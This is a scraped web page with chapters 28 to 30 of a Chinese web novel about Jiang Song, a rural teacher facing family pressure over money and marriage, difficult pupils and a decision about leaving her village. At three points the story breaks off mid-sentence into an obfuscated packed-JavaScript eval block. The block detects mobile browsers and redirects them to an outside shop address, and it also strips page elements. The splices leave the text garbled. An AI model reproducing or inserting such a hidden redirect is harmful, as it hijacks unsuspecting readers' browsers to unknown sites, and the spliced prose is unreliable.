陆轩不敢置信地看着这夫妻俩,被气得发抖,胸口几度起伏。 “你记恨我姑姑把家里的钱给我爸买房子记恨到今天,那你们现在又在干什么?” 他对姜父说完犹嫌不够,又把矛头对准姜母:“姑姑,你一辈子在家里都没抬得起头,你们拿了这一百万,我姐嫁过去难道就能抬得起头了?” 夫妻俩给他的话堵得哑口无言。 陆轩没有任何犹豫地决定出门就把这件事告诉表姐,让她千万不要心软上当。 这太荒谬了! 他不可能眼睁睁看着从小对他那么好的表姐跳下这个火坑而坐视不理。 数息之后,他吐出一口气,冷声丢下一句:“你看我敢不敢告诉她。” 说罢,他气冲冲往门口大步跨去,大力拽开门,看见门外那道单薄的身影时,心跳猛地停了一拍,脚似灌了铅一般,挪动不了半步。 停滞的心跳陡然加速,他甚至不忍心去看她的脸色,小声叫她:“姐……” 姜颂没说一个字,就站在那里,目光穿过陆轩,直直望向病床上满脸错愕与恐慌的母亲。 无波无澜的眼底是一片冰冷与死寂。 28. 第 28 章 又一台手术结束,已是傍晚时分。 孟决明从手术室出来,摘下口罩透气,手术服背后已经完全被汗水浸透。 一同出来的同事同样筋疲力尽,招呼他:“下班了,出去吃点?” 孟决明惦记着病房:“不了,我还有点事。” 同事没勉强,自己走了。 他回到更衣室,拿出手机,看到陆轩给他发了好多条消息。 他略微一扫,扫到关键信息,没来得及全看完,立马换上衣服冲出门去。 * 夜幕四合,街头巷尾的商铺渐渐亮起灯光,驱散夜色。 街角的连锁品牌便利店里灯火通明。 轮晚班的女店员过来换班,一进门就看到长桌角落里身形单薄的年轻女孩,她一动不动地坐在那里看着外面,不知道在看什么,面前摆了少说十几瓶酒。 店里只有她一个客人。 店员过去跟同事用眼神指了指,同事压低音量说:“她在这快坐一下午了,我给她结的账,她买了一大堆酒之后就一直坐在那喝然后发呆,不知道怎么了,你待会儿看着她点,别出什么事。” 店员点点头说知道了,让同事先走。 店员补完货架上缺货的商品,开始备货咖啡、烤肠、关东煮,忙活半天下来往长桌角落里一瞄,那女孩还是保持着望向窗外的姿势,分毫未动。 她想了想,用纸碗盛了一些关东煮,又舀了热汤,端着走到那女孩身后,轻轻拍拍她的肩膀。 女孩缓慢地转过身来看她,漆黑的瞳仁里了无生气。 店员把纸碗放到她面前的桌面上:“不知道你遇到了什么难过的事,但是总会好起来的。看你一个人喝了好多酒,对身体不好的,这碗关东煮请你吃,喝点热的暖暖,别难过了。” 姜颂被自己呼吸里带的酒气熏得头晕,迟钝地反应了好一会儿,关东煮的咸香气一点一点钻入她的鼻息,让她稍微清醒了一些。 她笑眯眯地抬手抱抱女店员,扬起笑脸:“谢谢你。” 女店员被抱得有点突然,对上她水盈盈的眼,脸唰地一下红了,跟她摆手,说话都磕巴:“不、不客气。”说完就回收银台了。 姜颂捧着那碗关东煮,冰凉的手有了一丝暖意。她笑意未收,目光流转,落在手边的手机上。因为不停地有消息进来,锁屏一直亮着。 半小时前她打开看了一眼,消息的来源是她的手工账号后台。 大量的攻击与辱骂淹没了她的私信,她匆匆扫过,是小兔医生系列陷入了抄袭争议。 类似的事每隔一段时间就会发生一次,不过大多数时候都是她粉丝艾特她去抄袭者的账号,被人指控抄袭还是头一遭。 她脑子乱糟糟的,就算有人告诉她明天地球会爆炸她也什么都懒得管。只把手机调成静音,一直放在那边。 除了谩骂的私信,手机屏幕上偶尔也会蹦出来一通电话,有姜母的,也有陆轩的。 当时的她站在门外听见那些话,她想她应该冲进去大声诘问妈妈。但与她对视的那一刻,她嗓子却像被糊住,什么也问不出口。 她只想逃离。 陆轩一路追她出来,而她只想一个人回家静一静。打发了陆轩,她却发现包落在病房,钥匙还在里面。于是只好脑子一片空白地沿着街边走,也不知道自己要去哪。 走了不知多久,在街角看到这家便利店。 便利店的玻璃清透干净,可以清晰地看见夜景。姜颂背对着灯光而坐,任由夜色笼罩她的脸。 屏幕上再次弹出来电显示,那个许多人咿呀学语时叫出的第一个称呼此刻落在她眼底,或许是因为静音的手机没有发出任何声音,她没有任何的反应 良久,等那电话挂断,她伸手把手机扣过去,打开一瓶新的酒,一口气喝完。 酒好难喝,她这样想着,趴在桌上,眯着眼看窗外的灯光。 其实今天这种事也不是第一次了,一回生二回熟,她不知道自己怎么还是这么难受。 灯光有些刺目,在她眼里逐渐虚化成大片大片的六边形像素点。 …… “哎,好点了吗?” 水房里,打开的水龙头因为连日的低温而冻结,姜颂从眼睛睁开的微小缝隙里模糊地看见同事杨苏拿着矿泉水,在一旁急得团团转。 一捧接一捧的水冲下去,眼里的沙子还是没能出来,她控制不住地流眼泪,跟冲洗的水混在一起。 她摇摇头。 “哎呀,赶紧再冲冲。” 费了三瓶水,姜颂眼前那片彩色六边形像素点终于拼凑成杨苏焦急的脸。 杨苏拿了纸巾给她,为她抱不平:“真是够够的了,这年头当老师还得给学生当孙子耍,也太不像话了!这你都不找家长?” 姜颂擦着脸,语气无奈:“找了也没用吧。” 今天早上她到教室上课,一开门就被门上被人提前放好的一包沙子弄了满头满脸。 “那也得给他点颜色瞧瞧!不能就这么放过这小兔崽子!” 话音未落,杨苏气冲冲地进教室,姜颂追出去想拦都没拦住。 不多时,杨苏拎着一个胖胖的男孩出来,来到姜颂面前。 张元清勒令:“赵吉,给姜老师道歉!” 被叫作赵吉的男孩是姜颂班里的的头号捣蛋鬼,之前姜颂也不是没叫过家长,他家长就是她们本村的村长儿子。人来了之后嬉皮笑脸的样子跟这孩子如出一辙。 姜颂回家跟母亲聊起这事,才知道赵家媳妇生赵吉的时候大出血去世了,赵吉成了村长家唯一一根独苗,全家捧着,就惯成现在这个样子。 姜母还特意嘱咐她,千万别跟赵吉计较,都是一个村的,还是村长孙子,以后没准还得求到人家头上。 给人当孙子还不够格呢。 村里的人情世故远远比姜颂想得更加复杂。 赵吉嘻嘻道:“我就是跟老师你开个玩笑。” 杨苏:“有这么开玩笑的吗?把你家长叫来!我要问问你家长是不是在家就这么教育你的!” 杨苏是和姜颂同一批进来的老师,家住在市里,从小教育环境里老师和同学的素质都比较高,自从来了雨花镇,每天都在大开眼界。但为了理想,还是在这里老老实实地待了两年。 赵吉闻言,看戏似地睨着姜颂:“姜老师,你不是有我爸的电话号码吗,你叫吧。” 杨苏气得差点一巴掌扇过去,姜颂连忙按住她。 她对赵吉说:“回去上课吧,老师知道你不是故意的。” 赵吉得意道:“是啊,老师,我真不是故意的。那我回去了。” 姜颂看着气鼓鼓的杨苏,劝道:“你这一巴掌要是真打下去,你的教资就要跟你说拜拜了。” 赵吉从小就皮,小学的时候还翻过小女孩裙子。他那时的班主任同时也是小女孩的家长,一气之下骂了他几句,赵家人直接闹到了教育局,再后来那位老师就被通报开除了。 这些也是姜母告诉她的,用以佐证“千万别跟赵吉计较”的论点。 “拜拜就拜拜,大不了回家当米虫,我爸妈养我一辈子。”杨苏说,“我爸妈本来就不支持我来这,每次回家我都不敢跟他们说我在这过的什么日子,这要是让他们知道我天天在这受这种气,他们得立马跑来连夜把我接回家。” 姜颂垂眸笑而不语,拿着纸巾继续擦拭脸上的水珠。 校长知道这事后专门跑到办公室好一顿慰问。 镇上来个年轻老师不容易,她们这一批进来的老师有六个,有特岗,有三支一扶,也有正式编。然而两年过去,已经只剩下她和杨苏两个人了。 姜颂知道校长的意思。 中午下班,杨姜二人带着另一个比她们俩早来两年的女老师张元清一起到学校周围的麻辣烫小店里吃饭。 张元清已经听说了上午的事,倒没像杨苏那样气愤,边选菜边说:“你们俩啊就是上班时间不长,一腔热血还没凉下去,等你们再上几年班就会明白,多做多错,少做少错,不做不错。这种刺头孩子你们都多余跟他生气,你对他学习负责,他觉得你在跟他作对,那爱怎么样怎么样好了,家长都不操心成绩,我们操哪门子心。管多了还不落好,何必呢。” “尤其是你小姜,你家就在这里,这儿的小孩说不定哪个就跟你沾亲带故的,你犯不着得罪人给自己找麻烦。” 姜颂夹了个丸子放进碗里,冰冻丸子在空碗里随着她的动作滚来滚去。 的确,这里的教育资源先天不足,即使她有心贡献自己的力量,可在一个镇的孩子面前也只是杯水车薪。 张元清的话在她脑子里循环了一下午。 日薄西山,办公室里渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113265|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只剩下姜颂一个人。 她拿着笔对着备课本一直走神想张元清的话,许久没有落笔。 “咚咚咚!” 姜颂回神:“请进。” 是小言。 小言拿着一本练习册,开门朝她望过来。 “姜老师。” “已经放学了,怎么还没回家?”姜颂看着她手里的练习册,“有题目要问吗?” 小姑娘扭扭捏捏地走到她身边:“嗯……也不是。” “我就是想来看看您,上午的事我都听你们班的同学说了。”小言眼巴巴地看着她,“老师,您还好吗?” 姜颂扫了眼她手里捏着的练习册,忽地明白了:“你是担心办公室有其他老师在提起这件事我会尴尬,所以拿了习题册做掩护,如果有别的老师在,你就问题目,顺便塞我一张小纸条什么的,如果没有老师,你就像这样直接问,对吗?” 小言点点头。 姜颂心里暖洋洋的,笑着摸摸她的头:“我没事,谢谢小言。” “老师,我知道咱们这穷,同学也不好管,好多老师来了没多久就走了,我都知道的……”小姑娘低垂着眼,咬着嘴唇上的死皮,“但是如果老师您也要走的话,可以提前告诉我吗,我想送送您,您是唯一一个对我好的人了。” 姜颂在她头顶揉了一把,失笑道:“谁告诉你我要走了?” “被这样捉弄老师你都不生气吗?”小言反问。 “我生气啊。”姜颂说,“但是生气也不能说走就走呀,这里也是我的家。” 她是出生在这里的孩子,如果连她都不愿意留下来,那这里要怎么才能有发展呢?发展不起来的后果就是青壮年因为贫穷不得不外出打工,留下大量的孩子成为留守儿童。 像她,像小言一样。 小言懵懵懂懂地看着她。 “等你长大了就明白了。”姜颂拉开抽屉,翻出一根棒棒糖,“这个给你,现在赶紧回家吧,再不回去天可就要黑了。” 小言接过糖果往外走了几步,又折回来:“那老师,明天见!” 姜颂:“明天见。” 跟小言道别后,姜颂也没心思继续写了,三下五除二收拾东西装进帆布袋里,顺手从抽屉里也拿了一支棒棒糖,拆了包装,送进嘴里咬碎。 戴好围巾帽子和手套,她一路骑着小电驴回家。 已经进入十二月,气温一天比一天低,饶是她把自己捂得严严实实,回到家还是冻得手脚冰凉。 到家第一件事,先给小电驴充电。 第二件事,钻回被窝打开电热毯给自己回温。 姜颂如往常一般小跑进屋,门一开,她傻眼了。 家里一共只有两间屋子,除了父母住的主屋之外只剩这间被堆满杂物的房间。她回家工作后自己把这间屋子收拾了一下,用工资添置了一张双人床。 而现在,眼前的房间里,她那张双人床旁边,凭空多出来一张单人床。 “妈妈!” 姜颂放下包,朝着主屋喊了一声。 “是姜姜回来了吧?”主屋里传出一道年迈的女声。 姜颂愣了愣,掀开门帘进主屋,看到屋里土炕上盘腿坐着的老太太。 “奶奶?”她朝屋里看去,“我妈妈呢?” “哎,你妈买菜去了,说回来做好吃的。” 姜颂哦了声。 姜奶奶打量着孙女:“在镇上上班一个月开多少钱呐?” 姜颂笑笑:“够吃饭。” “哎哟,连奶奶也不给说。我又不会要你钱。” 姜颂还是笑,就是不肯说。 正说着,姜母提着一大包食材回来,累得进门就喘。 “姜姜回来啦?正好,来帮我打打下手,来。” 姜颂跟着去厨房,搬了个小板凳坐下帮忙处理蔬菜。 想起房间里那张多出的单人床和忽然出现在家里的奶奶,她已经猜到是怎么回事了。 她冷不丁地问:“奶奶要来家里住吗?” 姜母菜刀唰唰唰切个不停:“嗯,你奶奶上次不是摔了一跤吗,好不容易养好,她说怕自己住再摔倒叫不到人,以后就在咱家住了。” 姜颂低着头掰菜花,没吭声。 她能说什么呢,论起来这房子还是奶奶出钱盖的,她没有发出意见的自由。 29. 第 29 章 最让姜颂担心的还不是奶奶接下来要跟她睡一屋的问题。 而是一般来说,奶奶来家里吃饭的时候,桌上总少不了大伯姜彪的身影。 说起这位大伯,从村里随便拎个人出来都能唠上三天三夜的八卦。年轻的时候在外面不学好,跟着别人搞诈骗,在局子里蹲了好几年才放出来。出来后也是吊儿郎当,又染上了赌瘾,成了十里八村有名的赌鬼。 如今年过半百依然一穷二白,整天游手好闲靠着啃全家老小活着,大伯母实在难以忍受前几年就跟人跑了。 这几年姜颂父母从打工的城市回到雨花镇,这位大伯隔三差五就出现在她家饭桌上,一边点评,一边点菜。 姜颂是真不爱跟他见面。 姜母开始炒菜,姜颂也帮不上什么忙,便拿着狗粮到院子角落里喂狗。 墙角处有一个用红砖头垒起的狗屋,里面还有一层防风雨材质的保温狗窝。大概是听见姜颂的脚步声,从里头钻出一只小土狗来,吐着舌头朝她哈气。 这只小土狗是姜颂从一个同事家里抱回来的,六只一窝的狗崽里她一眼就选中了它,一身浅黄色短毛,可怜兮兮地窝在狗妈妈的怀里,像一颗小黄豆。 她就给它起名叫黄豆。 村里养狗都是冲着实用去的,养来看家用。她的黄豆不是,她对它没有别的期许,小狗嘛,快乐就好。 可惜姜父死活不肯让它进屋,家里的门平时都是大开的状态,姜颂也怕它跑出去会出事,只好买了个保温的狗窝放在在院子角落里,把它拴在那,她有空了会带它出去撒欢。 姜彪来的时候,正瞧见姜颂在跟狗玩。 他大喇喇地从门口进来,瞥见她手里的狗粮,哎哟一声:“别人家狗都是吃点剩菜剩饭,大侄女这狗养得可好,有专门的狗窝,还给专门的粮吃,金贵的嘞!” 姜颂烦透了有人说她的黄豆,但念在他是长辈,只得回以一张皮笑肉不笑的脸。 黄豆不悦地冲着姜彪狂吠,要是没绳子拴着,估摸着这会儿已经扑上去咬人了。 姜颂安抚了下,黄豆叫是不叫了,但一边瞪着姜彪一边在她手掌上蹭呀蹭。 姜彪嗤笑一声,进屋去了。 他走后,姜颂笑得肩膀颤抖,往黄豆的食盆里多倒了一些,小声对它说:“好黄豆,明天给你买罐头吃!” 小狗听不懂,歪着头看她。它只是一只简单的小狗而已,哪里懂人类家庭里这么多的弯弯绕绕。 姜颂笑笑,也起身进屋了。 半个小时后,一大桌子菜摆得满满当当,姜母落座时,除了姜颂,其他人都已经开动。 大伯喝了两口酒又开始大谈政治,古今中外,应谈尽谈。 姜颂一心干饭,吃得无聊时随便听了一耳朵,正讲到朱元璋杯酒释兵权。 她忍笑忍得辛苦,夹了一块牛肉放进嘴里以免自己笑出声。 “姜姜这么能吃肉啊。” 闻声,大伯的高谈阔论戛然而止,姜颂一抬头看见奶奶别有深意的眼神。 “我看这么一会儿都吃了好几块了。小女孩还是多吃点菜,对皮肤好,男人会喜欢,早点给奶奶带个孙女婿回来!”姜奶奶说着,把蒜薹炒肉里的肉扒拉到一边,然后将全是蒜薹的那一边转向姜颂,“来来来,多吃点菜。” 姜颂没反驳也没生气,她保持着微笑,拿起勺子舀了一大勺蒜薹放进奶奶碗里:“奶奶你也多吃,没准还能给我找个新爷爷来。” 姜父呵斥她:“怎么说话呢!” 姜颂无辜道:“有问题吗?奶奶不是在关心我吗,我也得关心关心奶奶呀。” 姜父还想发作,被姜奶奶拦下:“别说姜姜。” 接着,她长吁短叹:“是我老太婆不好,人老了不招人待见,还偏爱乱说话讨人嫌。” “我大侄女从小就能说会道,当了老师更是不得了咯。”姜彪说。 姜颂把牛肉咽下去,脸上一派的纯真无邪:“没有呀大伯,我觉得我的口才比起您还远远不如。” “比如,我就做不到把赵匡胤的典故按到朱元璋头上,还谈论得头头是道。” 姜彪:“……” 姜母在桌底下拍了下姜颂的腿,姜颂无所谓地挑眉,继续干饭。桌上这么多好吃的,只要没人惹她,她才懒得多费口舌耽误吃饭。 饭毕,她洗了碗后回到房间里,花了半小时把第二天的备课教案写完。之后,她捡起昨天没做完的手工单子做起来。 这一单是她在冲浪的时候正好看见一个男生在找人织一种玫瑰毯子,说是女朋友喜欢,但他自己手笨织不成,想找个人帮他织。姜颂本着乐于助人的心态毛遂自荐,对方却大方地付了她三百块手工费。 姜颂从大学的时候就喜欢做手工,不过只是她的一点个人爱好,就跟有的人喜欢读书,有的人喜欢运动一样,纯属为了放松,做出来的成品室友喜欢就都送她们了,她从没想过靠这个赚钱。 做手工是她工作之余为数不多的乐趣,她本只打算让对方付个材料费就好,这三百块对她来说简直就是额外的惊喜。 她织得越发起劲儿的时候,余光瞥见奶奶进来。她停了一下,默不作声地把一边的头戴式降噪耳机戴上,连上蓝牙播放电视剧。 看见她在摆弄的东西,姜奶奶说教的心思又上来了:“有空咋不去帮你妈干点活儿啊姜姜,这样可不行,以后到了婆家人家会笑话你的。” 说完,看姜颂头也没抬,没有搭理她的意思,只得悻悻闭嘴,铺床去了。 * 如姜颂所想,自打奶奶搬过来,大伯就像长在她家了一样。 她干脆留在学校备课,能少见就少见,于是回家的时间越来越晚。 可随着进入隆冬,天黑的时间却越来越早。 她的小电驴骑到一半突然故障,还是碰见同村的一个大爷带她才不至于自己推着车走回去。 大爷在前面骑得飞快,姜颂蜷缩在在四面毫无遮挡的三轮车车斗里,被冷风刮得怀疑人生。 同时,也被刮出了学车和买车的念头。 她想要一个不漏风的代步工具。 她对车的了解不多,晚上躺在床上在网上稍微了解了一下。 她要求不高,能遮风挡雨就行。选来选去,她看上一辆新能源的迷你款小车,也就是被大家调侃的“剁椒鱼头”,价位一般在十万以内,配置一般的只要五六万,电力驱动,没有油费负担,对上班通勤来说再合适不过。 但是这笔钱对她来说不是小数目。 她每个月的工资加上杂七杂八的补贴大概有五千多,她平时花销不多,本想把剩下的都存起来,等以后攒多了到城里买个小房子给自己住。 但存了没几个月,姜父就提出让她每个月往家里交五百块的食宿费,除此之外还要每月给父母一人一千当生活费。 食宿费也就算了,姜颂不平衡的是这笔生活费:“小骄也开始实习了,我怎么没听说你们管小骄要生活费?” 姜父给的回答是姜骄是男孩,手里没钱不行。 姜颂更气了,哦,女孩没钱就行了? 她说不行,她要攒钱买房子。 姜父一听就乐了,说你一个小丫头买什么房子,结了婚不就什么都有了? 眼看着父女俩即将爆发争吵,姜母出来劝和,把每月一人一千降到了两人一千五,并对姜颂说:“你的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122114|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈不会动,都给你攒着,等以后你嫁人了给你当嫁妆。” 姜颂并不是不想赡养父母,她只是总在比较,通过比较确定自己到底是不是被爱的。在这一项上,她没赢。 她到底还是没松口。 最后这笔钱支出在一天下午。 那天姜母在拾掇门口的菜地,隔壁邻居家的婶婶坐在一边哄着外孙,满面含笑地随口跟姜母闲聊。 “前脚我大女儿刚给我在城里买了房子,后脚小女儿就给我补缴了全款社保,哎呀,都跟她们说了不用,让她们自己过好自己的日子,都不听。但是别说,我这心里啊还是高兴,养女儿还是好啊,女儿就是贴心小棉袄!”隔壁婶婶的声音洪亮,院子里擦小电驴的姜颂听了个正着。 母亲羡慕的眼神刺痛了她的眼。 她叹了口气,认输了,回去转给母亲一千五。 从那以后,她每个月留给自己五百块的生活费,剩下两千多非必要不动,全存在银行卡里。到了今天积少成多,买一辆这个价位的代步车也够了。 只是买了车之后,她离自己的小房子就又远了一步。 她带着纠结,在身旁奶奶的呼噜声中戴上耳塞,浅浅睡去。 这种纠结终止于第二天。 她发现黄豆因为发烧,一整天都没有吃东西。 她慌里慌张地带着黄豆到镇上的兽医那里看病,可那兽医最擅长给家畜治病,下的都是猛药,姜颂不放心,没让打那一针,想带黄豆去城里的宠物医院看看。 班车不让带狗上车,拼车就更不好拼了。最后没办法,她求助了杨苏。 杨苏租住在雨花镇小学旁边的房子里,接到她的电话,二话没说开着车就过来带着她和黄豆进城了。 还好只是普通发烧,没什么大毛病,这一通折腾可把姜颂吓得不轻。 她想请杨苏吃饭,对方没让,只让她做个她爱豆的钩织小人送她当谢礼。 姜颂回家连人偶带衣服配饰做了一整套给她,杨苏开心到差点亲她两口。 那个周末,姜颂毅然决然地去报了驾校。买不买车的问题可以再纠结一阵,但未来总有一天她会有不纠结的能力,所以学车这件事必须尽早提上日程。 她周末一向只爱宅在家里,偶尔出去一趟简直震惊了全家。一回家,四双眼睛纷纷注视着她,开始四堂会审一样盘问她的去向。 一听是去学车,大伯噗嗤一声笑出来:“学那干啥,白搭钱,你又没有车,等你结婚有车了让你对象开呗。” 姜颂平静道:“那我可能没有那么好的命,我就想买个车自己开着上下班。” 听见她有买车的意思,姜父吹胡子瞪眼:“你弟还没车呢!” 姜颂摊摊手:“关我什么事?我也还没有啊。” 姜奶奶苦口婆心:“姜姜啊,可不能这么自私,你是做姐姐的,得先帮着弟弟买房买车结婚啊。” 姜颂纳罕:“我自己都没有的东西,您跟我说这些有什么用?” “姜姜,买车是大事,再说你手里也没多少钱,车买了就不值钱了,不如在手里攒着。”姜母说。 姜颂奇怪地看母亲:“攒着干嘛?不还是为了花吗?那我现在花了买车不行吗?” “不是不行……就是……” 姜颂打断她:“买不买车我还没最后决定,但驾校我已经报了,我一定会把驾照拿到手,你们别再说了,我不想听人给我泼冷水。” “就这么定了。” 她头也不回地回了房间,听见奶奶叹气,说她心思野。 她在心里冷笑,又听见大伯的声音。 烦得要命。 她闪身进屋,关上房门。 30. 第 30 章 科目一对姜颂来说毫无难度,轻轻松松就过了。 教练在群里通知了科目二的练车时间和地点,姜颂还要上班,只能挑下班时间和周末去。 这批学员人数不少,里面还有个熟面孔——赵吉的爸爸赵衡。 驾校就两辆教练车,学员却有十几个,除了排队上车练习,其余时间都是一群人搬个小板凳在场地坐着玩手机。 姜颂连手机也不想玩,太冷了,冻手。 赵衡主动凑过来打招呼,他家大概是一脉相承的肥胖基因,一笑起来眼睛眯成一条线:“姜老师也来学车?” 姜颂礼貌性地回了话,却不想有过多交流。不知道为什么,她特别不喜欢赵衡看她的眼神。 为了防止他再过来搭话,姜颂也不怕冷了,战术性玩起手机。 正好接到杨苏的电话。 杨苏闲得无聊,知道她在这等着练车,说要过来找她玩。 约莫过了十来分钟,杨苏开着车在路边停下,降下车窗跟她招手,招呼她上车。 姜颂打开车门,听见广播里正放新闻联播。 她失笑:“这么根正苗红的吗?” 杨苏扁扁嘴:“我这是磨耳朵,马上要省考报名了,我爸妈都想让我考回市里,虽然考上的概率微乎其微,但我总得象征性地准备准备吧。” 姜颂心里一空。 她在学校只有杨苏这一个同期了,也只和她关系最好,杨苏要是走了,她一个人留在这里不知道会怎么样,最起码,连午饭她都不知道跟谁一起吃了。 杨苏当然知道她在想什么,搂过她的脖子:“我只是去考考试试,省考一个岗位好几百人报名,我没那么容易一下就考走的。” 姜颂摇摇头,对她说:“我只是刚才想了想,好像有点不适应你不在的日子。不过跟你回家比起来,这些都是小事,我们还可以线上联系。我还是希望你能考上,这样你就可以回家了。” 杨苏感动得贴上她的脸:“姜姜你怎么这么好,我亲亲!” 姜颂边笑边躲:“哎呀不行!” 两人打闹一阵,杨苏忽然正经起来,提议道:“要不然你也跟我一起准备考一下吧,这样我还能有点动力,万一要是考上了,那多好啊。” 姜颂认真地思考了一下:“可是我的家人都在这里,我能去哪儿呢?” “那你要嫁给这里的男人,以后在这里生活一辈子吗?”杨苏问。 这话让姜颂一下子愣住了。 她没想过关于结婚的事,即使家里每个人都把这事挂在嘴边,她除了稍有一些反感,对这事没有别的感受。 人一定要结婚吗? 姜颂摇摇头:“我也不知道,我愿意留下来当老师,但是结婚……我没想过。” “那你是准备当不婚族?” “也不是……”姜颂想了想,“如果遇到喜欢的人,结婚也是可以考虑的。” 杨苏想也没想:“那你就更得考出去了,留在这里你能遇见什么喜欢的人?村里的男人们都什么样子不用我多说吧?你知道你留在这里的结局是什么吗?” 杨苏给她分析着:“就是随着你岁数越来越大,你身边所有人都会开始盯着你结婚,然后你被迫开始不断地相亲,不断地相亲……如果你心志不够坚定,在这种持久战里你会先败下阵来,没准哪天你就妥协了,最后嫁给一个你根本不喜欢的人过一辈子,你们这边一般流行要两个孩子,还得有个男孩,你要是在这结婚,就只能过这种日子。” 姜颂迷茫地看着她。 杨苏说:“我可不是吓唬你,我有个表姐就是这样的,她第一年考研没考上,毕业回家二战,结果她回家备考的时候十里八村的媒人都去说亲,恰好她二战也失利,家里人也不支持她继续考了,没过多久她稀里糊涂就结婚了,就比我大三岁,孩子都俩了!你知道最可怕的是什么吗?是她考研之前曾经跟我说过,她一定要努力往上读,读到硕士,读到博士,绝对不会做家庭主妇,结果她现在每天就在家里围着孩子转。” “你也想过这种日子吗?” 姜颂从杨苏的眼睛里看见倒映的自己,一种惊悚感油然而生。 她当然不想。 这番话对她的冲击不可谓不大,因为杨苏说的这种情况的确非常符合村里的调性。 那她能抵抗得住,不被同化吗? 她并没有信心。 姜颂说自己会考虑这件事的。 她怀着心事练完了车,杨苏说新开了一家连锁品牌的自助餐,要跟她一起去尝尝。姜颂也懒得回家见烦人的大伯,两人一拍即合。 她俩去的时候正是中午饭点,领到号之后一看前面还有好多桌,两人只能坐在外面的椅子上玩手机。 姜颂的最新一关消消乐卡了好几天,这会儿专心致志地玩起来,两耳不闻窗外事。 但,小孩的哭声实在是有点刺耳。 紧接着传来女人的斥责:“不是说了让你蹲着点吗,就差两厘米就能省好几十块钱,怎么那么没用!” 姜颂感觉这声音在哪听过,抬眼望去,映入眼帘的是一张素面朝天的脸和朴素的黑色羽绒服。 伴着这熟悉的声音,姜颂渐渐在那张脸上幻视出一张更年轻的、浓妆艳抹的脸。 杨苏注意到姜颂的异常,伸手在她眼前晃晃:“你怎么这个表情?” 姜颂瞪着眼睛,机械地转向杨苏。 那边的女人还在教训孩子,收银员满脸不耐烦地催促她们离开。 姜颂小声说:“那是我小学同学。” 她记忆里,这位女同学从小爱美,长得也漂亮,小学时班里男生都喜欢她。 早几年的时候姜颂还在上大学,假期回来偶尔能看见她,衣着打扮都非常时髦,一度成为村头情报组的焦点人物。 后来姜颂回来工作,听说了她结婚的事,说是嫁了一个挺有钱的城里人。 姜颂当时也就是当个八卦听,根本没往心里去,更没想到会在这种情况下见到这位老同学。 女人骂了半天,孩子哇哇大哭,她情绪发泄完渐渐平静下来,又伸手去抱那孩子安抚着。 姜颂看到她抬手抹了下眼角的泪,如数交了钱后,抱起孩子到一旁等着叫号。 晚上回到家,姜颂向母亲问起她这位同学。 姜母听完她的描述,惊讶道:“她嫁得挺好的,她爸妈收了六十六万的彩礼呢,新房都盖了,没听说男方家出什么事啊。会不会是你看错了,也兴许是有啥别的原因吧,人家两口子的事也不能全让咱们知道。” 姜颂不知道有什么原因,但她那时认出了那个哭泣的孩子身上的名牌衣服,和她那位同学身上的杂牌羽绒服,或者干脆是棉服形成了鲜明的对比。 为什么妈妈说她嫁得好用的例证是收了六十六万彩礼呢?嫁得好不该是婚后的生活状态好才对吗?这样的状态,真的能称之为嫁得好吗? 姜颂默默拖着地板,一直没有回应母亲。 安静了片刻,姜母忽然开口:“姜姜,你岁数也不小了,要不也试着相亲看看吧?” 姜颂向前推拖把的手停住,旋即又继续动作,没抬头:“我以后如果要是不在这上班了,现在跟人相亲不是耽误人家吗?” “不在这上班?”姜母一下抓住重点,“你不是有编制吗,我听说编制不好调动吧?” 姜颂麻利地拖着每一块地板:“人的一辈子那么长,以后的事谁说得准,也说不好哪天我就想换份工作干了,换了工作,换了生活的地方,遇见的人也会不一样,相亲的事还是过几年再说吧。” “好好的铁饭碗,你可别脑子一热犯傻啊,多少人想考都考不上呢。”姜母说。 “再说,你可不能远嫁啊,咱们这的县城、市里都行,再远我们就够不到了,妈妈会担心你。万一你要是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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初一上半年的小言大部分时间都在跟那个小混混在一块,根本没心思学习。张元清是后面才开始带小言那个班的,除了课上教学,课下基本不接受额外的辅导,小言的基础确实是没打好。 她说:“也是好事,说明她有好好学习的念头了。” “那你呢?”杨苏看着她。 姜颂不明所以:“我?我怎么了?” “马上要放寒假了,你会有很多空闲时间。”杨苏说,“上次跟你说让你跟我一块考公的事你想好了没,再有半个月就要报名了。我寒假想报个线下班,我去试听了一个机构,挺靠谱的。要是你决定考的话,我们可以一块去,他们包住宿,我们可以选个两人间一起住,还能打八折。” 姜颂垂着眼,用勺子撇开汤面上的香菜:“我……还没想好。” “那你真得赶紧考虑一下了,想想自己到底想要什么。线下班还没开班,我再等你几天,决定的话一定记得跟我说。” 姜颂冲她点点头,舀了一勺汤送到嘴里,一时没尝出什么味道。 隔天,姜颂考完科目二,坐着驾校教练的车跟其他几个学员一起回家。 车内空间狭窄,算上她只有两个女生,和赵衡一起坐在后排,姜颂坐在中间。 赵吉这次又是倒数第一,赵衡以家长的身份询问:“姜老师觉得我家赵吉平时咋样?” 姜颂心想,你自己心里没点数吗? 不过她当然不可能真的这么说,她又换上了那副礼貌性的微笑:“挺活泼的。” “哦,那我就放心了。”赵衡笑道。 